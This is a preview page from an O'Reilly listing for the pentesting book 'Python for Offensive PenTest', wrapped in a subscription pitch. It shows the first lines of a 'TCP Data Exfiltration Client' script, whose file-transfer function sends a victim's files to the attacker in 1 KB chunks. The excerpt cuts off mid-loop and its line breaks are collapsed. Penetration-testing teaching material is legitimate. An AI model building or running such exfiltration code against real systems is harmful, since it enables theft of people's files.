O'Reilly logo

Python for Offensive PenTest by Hussam Khrais

Stay ahead with the world's most comprehensive technology and business learning platform.

With Safari, you learn the way you learn best. Get unlimited access to videos, live online training, learning paths, books, tutorials, and more.

Start Free Trial

No credit card required

Client side

Now, let's take a look at the client side script:

# Python For Offensive PenTest: A Complete Practical Course - All rights reserved # Follow me on LinkedIn https://jo.linkedin.com/in/python2# TCP Data Exfiltration Clientimport socket import subprocess import os # needed for file operations# In the transfer function, we first check if the file exists in the first place, if not we will notify the attacker# otherwise, we will create a loop where each time we iterate we will read 1 KB of the file and send it, since the# server has no idea about the end of the file we add a tag called 'DONE' to address this issue, finally we close the filedef transfer(s,path):    if os.path.exists(path):        f = open(path, 'rb')        packet = f.read(1024) while ...

With Safari, you learn the way you learn best. Get unlimited access to videos, live online training, learning paths, books, interactive tutorials, and more.

Start Free Trial

No credit card required